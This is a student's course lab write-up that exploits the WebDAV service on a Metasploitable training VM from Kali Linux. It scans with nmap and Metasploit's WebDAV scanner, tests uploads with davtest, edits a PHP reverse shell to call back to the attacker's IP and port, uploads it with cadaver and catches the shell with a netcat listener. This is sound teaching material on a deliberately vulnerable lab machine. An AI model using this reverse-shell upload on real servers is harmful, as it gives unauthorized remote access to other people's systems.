Austin Wolfe

CIT485

WebDAV on Metalsploitable Exploit With Kali Linux and Msfconsole

This is an exploit of the WebDAV server running on a target metalsploitable VM using tools on kali Linux to scan and then upload a PHP reverse shell to the WebDAV server. WebDAV is an extension of HTTP and is used for editing and creating files on remote web servers.

Login to root

> sudo -s

Start the metasploit database

> service postgresql start

start metasploit framework console

> msfconsole

> workspace cit485

Scan ports for services with operating system detection on the metalsploitable machine

> db_nmap -sV -O 192.168.1.90

DAV/2 can be seen running on port 80 with the services command

> services

Use the module auxiliary/scanner/http/webdav_scanner to further confirm webDAV is enabled

> use auxiliary/scanner/http/webdav_scanner

> set RHOSTS 192.168.1.90

> set PATH /dav/

since we want a reverse shell we need to test what files can be sent to the WebDAV server.

> davtest

Copy the reverse PHP shell (to edit the copy) from the kali machine at /usr/share/webshells/php/php-reverse-shell.php

> cp /usr/share/webshells/php/php-reverse-shell.php .

Edit the file php-reverse-shell.php and change the ip address to your ip address and port number to something not in use.

> vim php-reverse-shell.php

old

```
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
```

new

```
$ip = '192.168.1.10';  // CHANGE THIS
$port = 2701;          // CHANGE THIS
```

Use the WebDAV client cadaver to connect to WebDAV and then upload the php-reverse-shell.php on the server

> cadaver http://192.168.1.90/dav

> put php-reverse-shell.php

listen to the port with netcat

> nc -lp 2701

Browse to 192.168.1.90/dav/php-reverse-shell.php in a browser and the reverse shell code will run. Then check back with the netcat listener for connection with the server. Now there is access to the metalsploitable machine as a non-root user.

> whoami